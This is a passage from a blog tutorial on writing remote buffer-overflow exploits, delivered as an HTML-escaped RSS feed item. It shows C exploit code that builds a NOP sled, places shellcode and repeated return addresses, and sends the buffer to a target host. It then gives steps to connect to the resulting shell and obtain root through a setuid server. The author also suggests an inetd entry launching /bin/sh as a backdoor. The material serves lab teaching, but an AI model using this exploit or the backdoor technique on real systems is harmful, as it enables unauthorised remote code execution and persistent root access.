&lt;span style="font-family: Verdana; font-size: x-small;"&gt;struct sockaddr_in remote;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;struct hostent *host;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;if(argc != 3) {&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;        printf("Usage: %s target-ip port\n", argv[0]);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;        return -1;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;// filling buffer with NOPs&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;memset(buffer, 0x90, 1064);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;//copying shellcode into buffer&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;// the previous statement causes a unintential Nullbyte at buffer[1000]&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;buffer[1000] = 0x90;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;// Copying the return address multiple times at the end of the buffer...&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;for(i=1022; i &amp;lt; 1059; i+=4) {        &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;        * ((int *) &amp;amp;buffer[i]) = RET;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;buffer[1063] = 0x0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;//getting hostname&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;host=gethostbyname(argv[1]);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;  if (host==NULL)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;    {&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      fprintf(stderr, "Unknown Host %s\n",argv[1]);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      return -1;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;    }&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;// creating socket...&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;s = socket(AF_INET, SOCK_STREAM, 0);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;if (s &amp;lt; 0)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;    {&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      fprintf(stderr, "Error: Socket\n");&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      return -1;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;    }&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;//state Protocolfamily , then converting the hostname or IP address, and getting port number&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;remote.sin_family = AF_INET;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;remote.sin_addr = *((struct in_addr *)host-&amp;gt;h_addr);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;remote.sin_port = htons(atoi(argv[2]));&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;// connecting with destination host&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;if (connect(s, (struct sockaddr *)&amp;amp;remote, sizeof(remote))==-1)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;    {&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      close(s);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      fprintf(stderr, "Error: connect\n");&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      return -1;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;    }&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;//sending exploit string&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;size = send(s, buffer, sizeof(buffer), 0);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;  if (size==-1)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;    {&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      close(s);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      fprintf(stderr, "sending data failed\n");&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;      return -1;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;    }&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;// closing socket &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;close(s);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;--------------------------------------------- EOF-------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;u&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;/u&gt;&lt;u&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;7. Using the exploit&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;user@hackfreak~/ &amp;gt; &lt;/i&gt;&lt;b&gt;gcc exploit.c –o exploit&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;user@hackfreak~/ &amp;gt; &lt;/i&gt;&lt;b&gt;./exploit &amp;lt;host&amp;gt; &amp;lt;port&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;u&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now it should work If you got the right return address... or one of the right return addresses.&lt;br /&gt;
&lt;i&gt;user@hackfreak~/ &amp;gt; &lt;/i&gt;&lt;b&gt;telnet &amp;lt;host&amp;gt; 3879&lt;/b&gt;&lt;br /&gt;
If you’re connected then try to do this:&lt;br /&gt;
&lt;b&gt;id;&lt;br /&gt;
&lt;/b&gt;uid=500(user) gid=500(user) groups=500(user)&lt;br /&gt;
&lt;/span&gt;&lt;u&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;As you can see, it works very well.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;8. Getting root privileges&lt;br /&gt;
&lt;/u&gt;Do the following:&lt;br /&gt;
&lt;/span&gt;&lt;u&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;/u&gt;&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;user@hackfreak~/ &amp;gt; &lt;/span&gt;&lt;/i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;b&gt;su&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (Or Use sudo su )&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;password: &lt;/i&gt;&lt;b&gt;******&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;root@hackfreak~/ &amp;gt;&lt;/i&gt; &lt;i&gt; &lt;/i&gt;&lt;b&gt;ls –ln vulnerable&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;-rwxrwxr-x	1 500	500	14106	Jun 18	14:12 vulnerable&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;root@hackfreak~/ &amp;gt; &lt;/i&gt;&lt;b&gt;chown root vulnerable&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;root@hackfreak~/ &amp;gt; &lt;/i&gt;&lt;b&gt;chmod 6755 vulnerable&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;root@hackfreak~/ &amp;gt; &lt;/i&gt;&lt;b&gt;./vulnerable &amp;lt;port&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now you can exploit the server program, and you should get a root shell *g*&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;u&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;9. Enter the service in inetd.conf&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Ok we’re interested how the program, would work, if it would be a deamon. Now do the following:&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;First copy the vulnerable pogram to /usr/bin/&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;root@hackfreak~/ &amp;gt; &lt;/i&gt;&lt;b&gt;cp vulnerable /usr/bin/vulnerable&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now let’s modify some files...&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;root@hackfreak~/ &amp;gt; &lt;/span&gt;&lt;/i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;b&gt;vi /etc/services&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;u&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;(Feel free to use your favourite editor instead of vi)&lt;br /&gt;
Define a port which you wanna take. I’ll take the port 1526, now let’s enter this informations into /etc/services&lt;br /&gt;
&lt;i&gt;vulnerable	1526/tcp	# defining port for our server program, save and quit&lt;br /&gt;
&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now edit the inetd.conf file&lt;br /&gt;
&lt;i&gt;root@hackfreak~/ &amp;gt; &lt;/i&gt;&lt;b&gt;vi /etc/inetd.conf&lt;/b&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;put in:&lt;br /&gt;
&lt;i&gt;vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526&lt;br /&gt;
&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now safe the inetd.conf file and quit. &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;root@hackfreak~/ &amp;gt; &lt;/i&gt;&lt;b&gt;killall –HUP inetd&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;/i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now restart inetd and everything should work..&lt;br /&gt;
&lt;b&gt;Note:&lt;/b&gt; This is also a good way to make a backdoor,  adding a service in /etc/services then, add the things in inetd.conf and  right /bin/sh sh –i or sh –h *g*.... &lt;br /&gt;
&lt;u&gt;9. Problem solutions&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;If the exploit doesn’t work, please think about the return address, it could be wrong, test it with gdb....  &lt;br /&gt;
&lt;i&gt;root@hackfreak~/ &amp;gt; gdb vulnerable&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;.....&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;(gdb) &lt;/i&gt;&lt;b&gt;run &amp;lt;port&amp;gt;&lt;/b&gt;&lt;br /&gt;
&lt;/span&gt;&lt;i&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;/i&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now  you can exploit the program, if it doesn’t work look at the output of  gdb, and try to find out the address, like in Chapter 4.&lt;br /&gt;
If there any other problems ... read the remarks *g*.&lt;br /&gt;
&lt;u&gt;10. Remarks&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;If you find a bug, please mail &lt;/span&gt;&lt;span style="font-family: Courier New;"&gt;me&lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;(Find that on my home page),  so I can correct the current Version. If you want to criticize my  english, I’ll delete your message :-) *nobody’s perfect*, but if you  really got problems to understand this, please ask me... But please do  not tease me with stupid question, I don’t have the time to answer every  question.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;If you want to put this text on your page, no problem, but please do not change the copyright or other things....&lt;/span&gt;&lt;br /&gt;
&lt;u&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;/u&gt;&lt;u&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;11. Greets&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Thanks to Maverick for the vulnerable programm *hehe* (in his Tutorial "Socket Programming"), &lt;br /&gt;
thanks to triton for the exploitcode (great man, also member of buha-security.de)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Guys Check this Out tooo&lt;br /&gt;
&lt;br /&gt;
http://www.remote-exploit.org/ and Exploit DB and get ur Skills Sharpen&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Thanks,&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;H4ckfreak&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-4094756826744137383?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/25hJ9W5ygFw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/25hJ9W5ygFw/basics-of-remote-exploits-writing.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://3.bp.blogspot.com/-_eBao-4yoQo/TlAdIMeWZ4I/AAAAAAAAATE/M9TSTqTDqNU/s72-c/8-26-2008+1-03-39+PM.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/08/basics-of-remote-exploits-writing.html</feedburner:origLink></item><language>en-us</language><media:rating>nonadult</media:rating></channel></rss>

